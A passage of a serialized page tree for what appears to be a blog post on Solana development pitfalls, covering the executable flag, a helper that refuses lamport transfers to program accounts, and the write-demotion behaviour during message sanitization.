g":315,"props":71795,"children":71796},{"class":317,"line":2177},[71797,71801],{"type":20,"tag":315,"props":71798,"children":71799},{"style":322},[71800],{"type":26,"value":12734},{"type":20,"tag":315,"props":71802,"children":71803},{"style":328},[71804],{"type":26,"value":12739},{"type":20,"tag":315,"props":71806,"children":71807},{"class":317,"line":2185},[71808],{"type":20,"tag":315,"props":71809,"children":71810},{"style":328},[71811],{"type":26,"value":577},{"type":20,"tag":315,"props":71813,"children":71814},{"class":317,"line":2217},[71815],{"type":20,"tag":315,"props":71816,"children":71817},{"emptyLinePlaceholder":15},[71818],{"type":26,"value":427},{"type":20,"tag":315,"props":71820,"children":71821},{"class":317,"line":2225},[71822],{"type":20,"tag":315,"props":71823,"children":71824},{"style":1071},[71825],{"type":26,"value":71826},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":20,"tag":315,"props":71828,"children":71829},{"class":317,"line":2285},[71830,71834,71838,71842],{"type":20,"tag":315,"props":71831,"children":71832},{"style":328},[71833],{"type":26,"value":71327},{"type":20,"tag":315,"props":71835,"children":71836},{"style":334},[71837],{"type":26,"value":337},{"type":20,"tag":315,"props":71839,"children":71840},{"style":2652},[71841],{"type":26,"value":71336},{"type":20,"tag":315,"props":71843,"children":71844},{"style":328},[71845],{"type":26,"value":19012},{"type":20,"tag":315,"props":71847,"children":71848},{"class":317,"line":7444},[71849],{"type":20,"tag":315,"props":71850,"children":71851},{"style":328},[71852],{"type":26,"value":71853},"#[inline]\n",{"type":20,"tag":315,"props":71855,"children":71856},{"class":317,"line":7462},[71857,71861,71866,71870,71874,71878,71882,71886,71890],{"type":20,"tag":315,"props":71858,"children":71859},{"style":541},[71860],{"type":26,"value":18670},{"type":20,"tag":315,"props":71862,"children":71863},{"style":345},[71864],{"type":26,"value":71865}," is_executable_internal",{"type":20,"tag":315,"props":71867,"children":71868},{"style":328},[71869],{"type":26,"value":1049},{"type":20,"tag":315,"props":71871,"children":71872},{"style":334},[71873],{"type":26,"value":1490},{"type":20,"tag":315,"props":71875,"children":71876},{"style":541},[71877],{"type":26,"value":12114},{"type":20,"tag":315,"props":71879,"children":71880},{"style":328},[71881],{"type":26,"value":1468},{"type":20,"tag":315,"props":71883,"children":71884},{"style":334},[71885],{"type":26,"value":12158},{"type":20,"tag":315,"props":71887,"children":71888},{"style":322},[71889],{"type":26,"value":10451},{"type":20,"tag":315,"props":71891,"children":71892},{"style":328},[71893],{"type":26,"value":1092},{"type":20,"tag":315,"props":71895,"children":71896},{"class":317,"line":7507},[71897,71901],{"type":20,"tag":315,"props":71898,"children":71899},{"style":334},[71900],{"type":26,"value":19374},{"type":20,"tag":315,"props":71902,"children":71903},{"style":541},[71904],{"type":26,"value":71905},"self\n",{"type":20,"tag":315,"props":71907,"children":71908},{"class":317,"line":7613},[71909,71913],{"type":20,"tag":315,"props":71910,"children":71911},{"style":334},[71912],{"type":26,"value":66515},{"type":20,"tag":315,"props":71914,"children":71915},{"style":328},[71916],{"type":26,"value":71917},"transaction_context\n",{"type":20,"tag":315,"props":71919,"children":71920},{"class":317,"line":21914},[71921,71925],{"type":20,"tag":315,"props":71922,"children":71923},{"style":334},[71924],{"type":26,"value":66515},{"type":20,"tag":315,"props":71926,"children":71927},{"style":328},[71928],{"type":26,"value":71929},"remove_accounts_executable_flag_checks\n",{"type":20,"tag":315,"props":71931,"children":71932},{"class":317,"line":21949},[71933,71937,71941,71945,71949,71953,71957],{"type":20,"tag":315,"props":71934,"children":71935},{"style":334},[71936],{"type":26,"value":41219},{"type":20,"tag":315,"props":71938,"children":71939},{"style":541},[71940],{"type":26,"value":12198},{"type":20,"tag":315,"props":71942,"children":71943},{"style":334},[71944],{"type":26,"value":61},{"type":20,"tag":315,"props":71946,"children":71947},{"style":328},[71948],{"type":26,"value":11353},{"type":20,"tag":315,"props":71950,"children":71951},{"style":334},[71952],{"type":26,"value":61},{"type":20,"tag":315,"props":71954,"children":71955},{"style":345},[71956],{"type":26,"value":14056},{"type":20,"tag":315,"props":71958,"children":71959},{"style":328},[71960],{"type":26,"value":6131},{"type":20,"tag":315,"props":71962,"children":71963},{"class":317,"line":21957},[71964],{"type":20,"tag":315,"props":71965,"children":71966},{"style":328},[71967],{"type":26,"value":577},{"type":20,"tag":29,"props":71969,"children":71970},{},[71971],{"type":26,"value":71972},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":20,"tag":29,"props":71974,"children":71975},{},[71976,71978,71983],{"type":26,"value":71977},"Specifically, ",{"type":20,"tag":3717,"props":71979,"children":71980},{},[71981],{"type":26,"value":71982},"executable accounts",{"type":26,"value":71984}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":20,"tag":17297,"props":71986,"children":71988},{"id":71987},"sidebar-whats-the-executable-flag-anyway",[71989],{"type":26,"value":71990},"Sidebar: What's the executable Flag Anyway?",{"type":20,"tag":29,"props":71992,"children":71993},{},[71994,71995,72000],{"type":26,"value":15015},{"type":20,"tag":119,"props":71996,"children":71998},{"className":71997},[],[71999],{"type":26,"value":14056},{"type":26,"value":72001}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":20,"tag":29,"props":72003,"children":72004},{},[72005,72007,72012],{"type":26,"value":72006},"This behavior became problematic with the introduction of the ",{"type":20,"tag":3717,"props":72008,"children":72009},{},[72010],{"type":26,"value":72011},"Upgradeable BPF Loader",{"type":26,"value":72013},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":20,"tag":305,"props":72015,"children":72017},{"className":1360,"code":72016,"language":1359,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[72018],{"type":20,"tag":119,"props":72019,"children":72020},{"__ignoreMap":7},[72021,72033,72041,72061,72069,72081,72089,72109,72117,72145,72153,72161],{"type":20,"tag":315,"props":72022,"children":72023},{"class":317,"line":318},[72024,72029],{"type":20,"tag":315,"props":72025,"children":72026},{"style":322},[72027],{"type":26,"value":72028},"Program",{"type":20,"tag":315,"props":72030,"children":72031},{"style":328},[72032],{"type":26,"value":1092},{"type":20,"tag":315,"props":72034,"children":72035},{"class":317,"line":356},[72036],{"type":20,"tag":315,"props":72037,"children":72038},{"style":1071},[72039],{"type":26,"value":72040}," /// Address of the ProgramData account.\n",{"type":20,"tag":315,"props":72042,"children":72043},{"class":317,"line":365},[72044,72049,72053,72057],{"type":20,"tag":315,"props":72045,"children":72046},{"style":635},[72047],{"type":26,"value":72048}," programdata_address",{"type":20,"tag":315,"props":72050,"children":72051},{"style":334},[72052],{"type":26,"value":2884},{"type":20,"tag":315,"props":72054,"children":72055},{"style":322},[72056],{"type":26,"value":19261},{"type":20,"tag":315,"props":72058,"children":72059},{"style":328},[72060],{"type":26,"value":643},{"type":20,"tag":315,"props":72062,"children":72063},{"class":317,"line":374},[72064],{"type":20,"tag":315,"props":72065,"children":72066},{"style":328},[72067],{"type":26,"value":72068},"},\n",{"type":20,"tag":315,"props":72070,"children":72071},{"class":317,"line":383},[72072,72077],{"type":20,"tag":315,"props":72073,"children":72074},{"style":322},[72075],{"type":26,"value":72076},"ProgramData",{"type":20,"tag":315,"props":72078,"children":72079},{"style":328},[72080],{"type":26,"value":1092},{"type":20,"tag":315,"props":72082,"children":72083},{"class":317,"line":407},[72084],{"type":20,"tag":315,"props":72085,"children":72086},{"style":1071},[72087],{"type":26,"value":72088}," /// Slot that the program was last modified.\n",{"type":20,"tag":315,"props":72090,"children":72091},{"class":317,"line":421},[72092,72097,72101,72105],{"type":20,"tag":315,"props":72093,"children":72094},{"style":635},[72095],{"type":26,"value":72096}," slot",{"type":20,"tag":315,"props":72098,"children":72099},{"style":334},[72100],{"type":26,"value":2884},{"type":20,"tag":315,"props":72102,"children":72103},{"style":322},[72104],{"type":26,"value":4253},{"type":20,"tag":315,"props":72106,"children":72107},{"style":328},[72108],{"type":26,"value":643},{"type":20,"tag":315,"props":72110,"children":72111},{"class":317,"line":430},[72112],{"type":20,"tag":315,"props":72113,"children":72114},{"style":1071},[72115],{"type":26,"value":72116}," /// Address of the Program's upgrade authority.\n",{"type":20,"tag":315,"props":72118,"children":72119},{"class":317,"line":453},[72120,72125,72129,72133,72137,72141],{"type":20,"tag":315,"props":72121,"children":72122},{"style":635},[72123],{"type":26,"value":72124}," upgrade_authority_address",{"type":20,"tag":315,"props":72126,"children":72127},{"style":334},[72128],{"type":26,"value":2884},{"type":20,"tag":315,"props":72130,"children":72131},{"style":322},[72132],{"type":26,"value":26062},{"type":20,"tag":315,"props":72134,"children":72135},{"style":328},[72136],{"type":26,"value":4199},{"type":20,"tag":315,"props":72138,"children":72139},{"style":322},[72140],{"type":26,"value":19802},{"type":20,"tag":315,"props":72142,"children":72143},{"style":328},[72144],{"type":26,"value":4532},{"type":20,"tag":315,"props":72146,"children":72147},{"class":317,"line":486},[72148],{"type":20,"tag":315,"props":72149,"children":72150},{"style":1071},[72151],{"type":26,"value":72152}," // The raw program data follows this serialized structure in the\n",{"type":20,"tag":315,"props":72154,"children":72155},{"class":317,"line":499},[72156],{"type":20,"tag":315,"props":72157,"children":72158},{"style":1071},[72159],{"type":26,"value":72160}," // account's data.\n",{"type":20,"tag":315,"props":72162,"children":72163},{"class":317,"line":513},[72164],{"type":20,"tag":315,"props":72165,"children":72166},{"style":328},[72167],{"type":26,"value":72068},{"type":20,"tag":29,"props":72169,"children":72170},{},[72171,72173,72180],{"type":26,"value":72172},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":20,"tag":35,"props":72174,"children":72177},{"href":72175,"rel":72176},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[39],[72178],{"type":26,"value":72179},"SIMD-0162",{"type":26,"value":72181},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":20,"tag":29,"props":72183,"children":72184},{},[72185,72187,72192,72194,72199],{"type":26,"value":72186},"This change is also a ",{"type":20,"tag":3717,"props":72188,"children":72189},{},[72190],{"type":26,"value":72191},"hard requirement for supporting the new loader-v4",{"type":26,"value":72193},". Unlike the upgradable loader, which relies on a separate ",{"type":20,"tag":119,"props":72195,"children":72197},{"className":72196},[],[72198],{"type":26,"value":72076},{"type":26,"value":72200}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":20,"tag":29,"props":72202,"children":72203},{},[72204,72206,72213,72215,72220],{"type":26,"value":72205},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":20,"tag":35,"props":72207,"children":72210},{"href":72208,"rel":72209},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[39],[72211],{"type":26,"value":72212},"migrate",{"type":26,"value":72214}," from the upgradable loader to loader-v4 — without hitting the ",{"type":20,"tag":119,"props":72216,"children":72218},{"className":72217},[],[72219],{"type":26,"value":71653},{"type":26,"value":72221}," restriction.",{"type":20,"tag":17297,"props":72223,"children":72225},{"id":72224},"fix-2-reject-program-accounts",[72226],{"type":26,"value":72227},"Fix 2: Reject Program Accounts",{"type":20,"tag":29,"props":72229,"children":72230},{},[72231],{"type":26,"value":72232},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":20,"tag":305,"props":72234,"children":72236},{"className":1360,"code":72235,"language":1359,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[72237],{"type":20,"tag":119,"props":72238,"children":72239},{"__ignoreMap":7},[72240,72316,72364,72380,72387,72426,72470,72494,72543,72571],{"type":20,"tag":315,"props":72241,"children":72242},{"class":317,"line":318},[72243,72247,72251,72256,72260,72264,72268,72272,72276,72280,72284,72288,72292,72296,72300,72304,72308,72312],{"type":20,"tag":315,"props":72244,"children":72245},{"style":541},[72246],{"type":26,"value":12091},{"type":20,"tag":315,"props":72248,"children":72249},{"style":541},[72250],{"type":26,"value":12096},{"type":20,"tag":315,"props":72252,"children":72253},{"style":345},[72254],{"type":26,"value":72255}," can_transfer_lamports",{"type":20,"tag":315,"props":72257,"children":72258},{"style":328},[72259],{"type":26,"value":1049},{"type":20,"tag":315,"props":72261,"children":72262},{"style":635},[72263],{"type":26,"value":11353},{"type":20,"tag":315,"props":72265,"children":72266},{"style":334},[72267],{"type":26,"value":2884},{"type":20,"tag":315,"props":72269,"children":72270},{"style":334},[72271],{"type":26,"value":5536},{"type":20,"tag":315,"props":72273,"children":72274},{"style":322},[72275],{"type":26,"value":13339},{"type":20,"tag":315,"props":72277,"children":72278},{"style":328},[72279],{"type":26,"value":44},{"type":20,"tag":315,"props":72281,"children":72282},{"style":635},[72283],{"type":26,"value":13913},{"type":20,"tag":315,"props":72285,"children":72286},{"style":334},[72287],{"type":26,"value":2884},{"type":20,"tag":315,"props":72289,"children":72290},{"style":322},[72291],{"type":26,"value":4253},{"type":20,"tag":315,"props":72293,"children":72294},{"style":328},[72295],{"type":26,"value":1468},{"type":20,"tag":315,"props":72297,"children":72298},{"style":334},[72299],{"type":26,"value":12158},{"type":20,"tag":315,"props":72301,"children":72302},{"style":322},[72303],{"type":26,"value":12163},{"type":20,"tag":315,"props":72305,"children":72306},{"style":328},[72307],{"type":26,"value":4199},{"type":20,"tag":315,"props":72309,"children":72310},{"style":322},[72311],{"type":26,"value":436},{"type":20,"tag":315,"props":72313,"children":72314},{"style":328},[72315],{"type":26,"value":5676},{"type":20,"tag":315,"props":72317,"children":72318},{"class":317,"line":356},[72319,72323,72328,72332,72336,72340,72344,72348,72352,72356,72360],{"type":20,"tag":315,"props":72320,"children":72321},{"style":541},[72322],{"type":26,"value":18670},{"type":20,"tag":315,"props":72324,"children":72325},{"style":345},[72326],{"type":26,"value":72327}," is_program",{"type":20,"tag":315,"props":72329,"children":72330},{"style":328},[72331],{"type":26,"value":1049},{"type":20,"tag":315,"props":72333,"children":72334},{"style":635},[72335],{"type":26,"value":11353},{"type":20,"tag":315,"props":72337,"children":72338},{"style":334},[72339],{"type":26,"value":2884},{"type":20,"tag":315,"props":72341,"children":72342},{"style":334},[72343],{"type":26,"value":5536},{"type":20,"tag":315,"props":72345,"children":72346},{"style":322},[72347],{"type":26,"value":13339},{"type":20,"tag":315,"props":72349,"children":72350},{"style":328},[72351],{"type":26,"value":1468},{"type":20,"tag":315,"props":72353,"children":72354},{"style":334},[72355],{"type":26,"value":12158},{"type":20,"tag":315,"props":72357,"children":72358},{"style":322},[72359],{"type":26,"value":10451},{"type":20,"tag":315,"props":72361,"children":72362},{"style":328},[72363],{"type":26,"value":1092},{"type":20,"tag":315,"props":72365,"children":72366},{"class":317,"line":365},[72367,72371,72375],{"type":20,"tag":315,"props":72368,"children":72369},{"style":635},[72370],{"type":26,"value":23587},{"type":20,"tag":315,"props":72372,"children":72373},{"style":334},[72374],{"type":26,"value":61},{"type":20,"tag":315,"props":72376,"children":72377},{"style":328},[72378],{"type":26,"value":72379},"executable\n",{"type":20,"tag":315,"props":72381,"children":72382},{"class":317,"line":374},[72383],{"type":20,"tag":315,"props":72384,"children":72385},{"style":328},[72386],{"type":26,"value":577},{"type":20,"tag":315,"props":72388,"children":72389},{"class":317,"line":383},[72390,72394,72398,72402,72406,72410,72414,72418,72422],{"type":20,"tag":315,"props":72391,"children":72392},{"style":541},[72393],{"type":26,"value":10188},{"type":20,"tag":315,"props":72395,"children":72396},{"style":635},[72397],{"type":26,"value":71147},{"type":20,"tag":315,"props":72399,"children":72400},{"style":334},[72401],{"type":26,"value":1395},{"type":20,"tag":315,"props":72403,"children":72404},{"style":322},[72405],{"type":26,"value":41890},{"type":20,"tag":315,"props":72407,"children":72408},{"style":334},[72409],{"type":26,"value":1861},{"type":20,"tag":315,"props":72411,"children":72412},{"style":345},[72413],{"type":26,"value":14753},{"type":20,"tag":315,"props":72415,"children":72416},{"style":328},[72417],{"type":26,"value":12280},{"type":20,"tag":315,"props":72419,"children":72420},{"style":334},[72421],{"type":26,"value":1537},{"type":20,"tag":315,"props":72423,"children":72424},{"style":328},[72425],{"type":26,"value":1405},{"type":20,"tag":315,"props":72427,"children":72428},{"class":317,"line":407},[72429,72433,72438,72442,72446,72450,72454,72458,72462,72466],{"type":20,"tag":315,"props":72430,"children":72431},{"style":541},[72432],{"type":26,"value":10188},{"type":20,"tag":315,"props":72434,"children":72435},{"style":635},[72436],{"type":26,"value":72437}," balance_after",{"type":20,"tag":315,"props":72439,"children":72440},{"style":334},[72441],{"type":26,"value":1395},{"type":20,"tag":315,"props":72443,"children":72444},{"style":635},[72445],{"type":26,"value":3875},{"type":20,"tag":315,"props":72447,"children":72448},{"style":334},[72449],{"type":26,"value":61},{"type":20,"tag":315,"props":72451,"children":72452},{"style":345},[72453],{"type":26,"value":13913},{"type":20,"tag":315,"props":72455,"children":72456},{"style":328},[72457],{"type":26,"value":12444},{"type":20,"tag":315,"props":72459,"children":72460},{"style":334},[72461],{"type":26,"value":817},{"type":20,"tag":315,"props":72463,"children":72464},{"style":635},[72465],{"type":26,"value":71458},{"type":20,"tag":315,"props":72467,"children":72468},{"style":328},[72469],{"type":26,"value":1405},{"type":20,"tag":315,"props":72471,"children":72472},{"class":317,"line":421},[72473,72477,72481,72485,72489],{"type":20,"tag":315,"props":72474,"children":72475},{"style":322},[72476],{"type":26,"value":18893},{"type":20,"tag":315,"props":72478,"children":72479},{"style":328},[72480],{"type":26,"value":1049},{"type":20,"tag":315,"props":72482,"children":72483},{"style":635},[72484],{"type":26,"value":11353},{"type":20,"tag":315,"props":72486,"children":72487},{"style":334},[72488],{"type":26,"value":61},{"type":20,"tag":315,"props":72490,"children":72491},{"style":328},[72492],{"type":26,"value":72493},"is_writable\n",{"type":20,"tag":315,"props":72495,"children":72496},{"class":317,"line":430},[72497,72501,72505,72509,72514,72518,72523,72527,72531,72535,72539],{"type":20,"tag":315,"props":72498,"children":72499},{"style":334},[72500],{"type":26,"value":14022},{"type":20,"tag":315,"props":72502,"children":72503},{"style":635},[72504],{"type":26,"value":71147},{"type":20,"tag":315,"props":72506,"children":72507},{"style":334},[72508],{"type":26,"value":61},{"type":20,"tag":315,"props":72510,"children":72511},{"style":345},[72512],{"type":26,"value":72513},"is_exempt",{"type":20,"tag":315,"props":72515,"children":72516},{"style":328},[72517],{"type":26,"value":1049},{"type":20,"tag":315,"props":72519,"children":72520},{"style":635},[72521],{"type":26,"value":72522},"balance_after",{"type":20,"tag":315,"props":72524,"children":72525},{"style":328},[72526],{"type":26,"value":44},{"type":20,"tag":315,"props":72528,"children":72529},{"style":635},[72530],{"type":26,"value":11353},{"type":20,"tag":315,"props":72532,"children":72533},{"style":334},[72534],{"type":26,"value":61},{"type":20,"tag":315,"props":72536,"children":72537},{"style":345},[72538],{"type":26,"value":12207},{"type":20,"tag":315,"props":72540,"children":72541},{"style":328},[72542],{"type":26,"value":14061},{"type":20,"tag":315,"props":72544,"children":72545},{"class":317,"line":453},[72546,72550,72554,72559,72563,72567],{"type":20,"tag":315,"props":72547,"children":72548},{"style":334},[72549],{"type":26,"value":14022},{"type":20,"tag":315,"props":72551,"children":72552},{"style":334},[72553],{"type":26,"value":11264},{"type":20,"tag":315,"props":72555,"children":72556},{"style":345},[72557],{"type":26,"value":72558},"is_program",{"type":20,"tag":315,"props":72560,"children":72561},{"style":328},[72562],{"type":26,"value":1049},{"type":20,"tag":315,"props":72564,"children":72565},{"style":635},[72566],{"type":26,"value":11353},{"type":20,"tag":315,"props":72568,"children":72569},{"style":328},[72570],{"type":26,"value":18116},{"type":20,"tag":315,"props":72572,"children":72573},{"class":317,"line":486},[72574],{"type":20,"tag":315,"props":72575,"children":72576},{"style":328},[72577],{"type":26,"value":577},{"type":20,"tag":29,"props":72579,"children":72580},{},[72581],{"type":26,"value":72582},"Now we’re safe...right?",{"type":20,"tag":219,"props":72584,"children":72586},{"id":72585},"bug-3-the-write-demotion-trap",[72587],{"type":26,"value":72588},"Bug 3: The Write-Demotion Trap",{"type":20,"tag":29,"props":72590,"children":72591},{},[72592,72594,72599,72601,72606],{"type":26,"value":72593},"On Solana, accounts passed as ",{"type":20,"tag":3717,"props":72595,"children":72596},{},[72597],{"type":26,"value":72598},"writable",{"type":26,"value":72600}," in a transaction can be ",{"type":20,"tag":3717,"props":72602,"children":72603},{},[72604],{"type":26,"value":72605},"silently downgraded to read-only",{"type":26,"value":72607},". This behavior occurs during message sanitization — even before your program runs.",{"type":20,"tag":29,"props":72609,"children":72610},{},[72611,72613,72620],{"type":26,"value":72612},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":20,"tag":35,"props":72614,"children":72617},{"href":72615,"rel":72616},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[39],[72618],{"type":26,"value":72619},"MessageV0",{"type":26,"value":72621},", but legacy is simpler to follow):",{"type":20,"tag":305,"props":72623,"children":72625},{"className":1360,"code":72624,"language":1359,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[72626],{"type":20,"tag":119,"props":72627,"children":72628},{"__ignoreMap":7},[72629,72637,72661,72749,72770,72782,72798,72814,72862,72891,72945,72981,72989,73026,73038,73076,73088,73095,73102,73109,73116,73124,73184,73237],{"type":20,"tag":315,"props":72630,"children":72631},{"class":317,"line":318},[72632],{"type":20,"tag":315,"props":72633,"children":72634},{"style":1071},[72635],{"type":26,"value":72636},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":20,"tag":315,"props":72638,"children":72639},{"class":317,"line":356},[72640,72644,72649,72653,72657],{"type":20,"tag":315,"props":72641,"children":72642},{"style":541},[72643],{"type":26,"value":26611},{"type":20,"tag":315,"props":72645,"children":72646},{"style":322},[72647],{"type":26,"value":72648}," LegacyMessage",{"type":20,"tag":315,"props":72650,"children":72651},{"style":328},[72652],{"type":26,"value":21327},{"type":20,"tag":315,"props":72654,"children":72655},{"style":322},[72656],{"type":26,"value":1463},{"type":20,"tag":315,"props":72658,"children":72659},{"style":328},[72660],{"type":26,"value":5676},{"type":20,"tag":315,"props":72662,"children":72663},{"class":317,"line":365},[72664,72668,72672,72676,72680,72684,72688,72693,72697,72702,72706,72711,72715,72719,72724,72728,72732,72736,72740,72745],{"type":20,"tag":315,"props":72665,"children":72666},{"style":541},[72667],{"type":26,"value":19247},{"type":20,"tag":315,"props":72669,"children":72670},{"style":541},[72671],{"type":26,"value":12096},{"type":20,"tag":315,"props":72673,"children":72674},{"style":345},[72675],{"type":26,"value":30348},{"type":20,"tag":315,"props":72677,"children":72678},{"style":328},[72679],{"type":26,"value":1049},{"type":20,"tag":315,"props":72681,"children":72682},{"style":635},[72683],{"type":26,"value":66292},{"type":20,"tag":315,"props":72685,"children":72686},{"style":334},[72687],{"type":26,"value":2884},{"type":20,"tag":315,"props":72689,"children":72690},{"style":328},[72691],{"type":26,"value":72692}," legacy",{"type":20,"tag":315,"props":72694,"children":72695},{"style":334},[72696],{"type":26,"value":1861},{"type":20,"tag":315,"props":72698,"children":72699},{"style":322},[72700],{"type":26,"value":72701},"Message",{"type":20,"tag":315,"props":72703,"children":72704},{"style":328},[72705],{"type":26,"value":44},{"type":20,"tag":315,"props":72707,"children":72708},{"style":635},[72709],{"type":26,"value":72710},"reserved_account_keys",{"type":20,"tag":315,"props":72712,"children":72713},{"style":334},[72714],{"type":26,"value":2884},{"type":20,"tag":315,"props":72716,"children":72717},{"style":334},[72718],{"type":26,"value":5536},{"type":20,"tag":315,"props":72720,"children":72721},{"style":322},[72722],{"type":26,"value":72723},"HashSet",{"type":20,"tag":315,"props":72725,"children":72726},{"style":328},[72727],{"type":26,"value":4199},{"type":20,"tag":315,"props":72729,"children":72730},{"style":322},[72731],{"type":26,"value":19802},{"type":20,"tag":315,"props":72733,"children":72734},{"style":328},[72735],{"type":26,"value":18850},{"type":20,"tag":315,"props":72737,"children":72738},{"style":334},[72739],{"type":26,"value":12158},{"type":20,"tag":315,"props":72741,"children":72742},{"style":541},[72743],{"type":26,"value":72744}," Self",{"type":20,"tag":315,"props":72746,"children":72747},{"style":328},[72748],{"type":26,"value":1092},{"type":20,"tag":315,"props":72750,"children":72751},{"class":317,"line":374},[72752,72756,72761,72765],{"type":20,"tag":315,"props":72753,"children":72754},{"style":541},[72755],{"type":26,"value":1445},{"type":20,"tag":315,"props":72757,"children":72758},{"style":635},[72759],{"type":26,"value":72760}," is_writable_account_cache",{"type":20,"tag":315,"props":72762,"children":72763},{"style":334},[72764],{"type":26,"value":1395},{"type":20,"tag":315,"props":72766,"children":72767},{"style":635},[72768],{"type":26,"value":72769}," message\n",{"type":20,"tag":315,"props":72771,"children":72772},{"class":317,"line":383},[72773,72777],{"type":20,"tag":315,"props":72774,"children":72775},{"style":334},[72776],{"type":26,"value":1549},{"type":20,"tag":315,"props":72778,"children":72779},{"style":328},[72780],{"type":26,"value":72781},"account_keys\n",{"type":20,"tag":315,"props":72783,"children":72784},{"class":317,"line":407},[72785,72789,72794],{"type":20,"tag":315,"props":72786,"children":72787},{"style":334},[72788],{"type":26,"value":1549},{"type":20,"tag":315,"props":72790,"children":72791},{"style":345},[72792],{"type":26,"value":72793},"iter",{"type":20,"tag":315,"props":72795,"children":72796},{"style":328},[72797],{"type":26,"value":6131},{"type":20,"tag":315,"props":72799,"children":72800},{"class":317,"line":421},[72801,72805,72810],{"type":20,"tag":315,"props":72802,"children":72803},{"style":334},[72804],{"type":26,"value":1549},{"type":20,"tag":315,"props":72806,"children":72807},{"style":345},[72808],{"type":26,"value":72809},"enumerate",{"type":20,"tag":315,"props":72811,"children":72812},{"style":328},[72813],{"type":26,"value":6131},{"type":20,"tag":315,"props":72815,"children":72816},{"class":317,"line":430},[72817,72821,72825,72829,72833,72837,72841,72845,72850,72854,72858],{"type":20,"tag":315,"props":72818,"children":72819},{"style":334},[72820],{"type":26,"value":1549},{"type":20,"tag":315,"props":72822,"children":72823},{"style":345},[72824],{"type":26,"value":65357},{"type":20,"tag":315,"props":72826,"children":72827},{"style":328},[72828],{"type":26,"value":1049},{"type":20,"tag":315,"props":72830,"children":72831},{"style":334},[72832],{"type":26,"value":8816},{"type":20,"tag":315,"props":72834,"children":72835},{"style":328},[72836],{"type":26,"value":1049},{"type":20,"tag":315,"props":72838,"children":72839},{"style":635},[72840],{"type":26,"value":2122},{"type":20,"tag":315,"props":72842,"children":72843},{"style":328},[72844],{"type":26,"value":44},{"type":20,"tag":315,"props":72846,"children":72847},{"style":635},[72848],{"type":26,"value":72849},"_key",{"type":20,"tag":315,"props":72851,"children":72852},{"style":328},[72853],{"type":26,"value":1509},{"type":20,"tag":315,"props":72855,"children":72856},{"style":334},[72857],{"type":26,"value":8816},{"type":20,"tag":315,"props":72859,"children":72860},{"style":328},[72861],{"type":26,"value":1092},{"type":20,"tag":315,"props":72863,"children":72864},{"class":317,"line":453},[72865,72870,72874,72879,72883,72887],{"type":20,"tag":315,"props":72866,"children":72867},{"style":635},[72868],{"type":26,"value":72869}," message",{"type":20,"tag":315,"props":72871,"children":72872},{"style":334},[72873],{"type":26,"value":61},{"type":20,"tag":315,"props":72875,"children":72876},{"style":345},[72877],{"type":26,"value":72878},"is_writable_index",{"type":20,"tag":315,"props":72880,"children":72881},{"style":328},[72882],{"type":26,"value":1049},{"type":20,"tag":315,"props":72884,"children":72885},{"style":635},[72886],{"type":26,"value":2122},{"type":20,"tag":315,"props":72888,"children":72889},{"style":328},[72890],{"type":26,"value":380},{"type":20,"tag":315,"props":72892,"children":72893},{"class":317,"line":486},[72894,72899,72903,72907,72911,72916,72920,72924,72928,72932,72937,72941],{"type":20,"tag":315,"props":72895,"children":72896},{"style":334},[72897],{"type":26,"value":72898}," 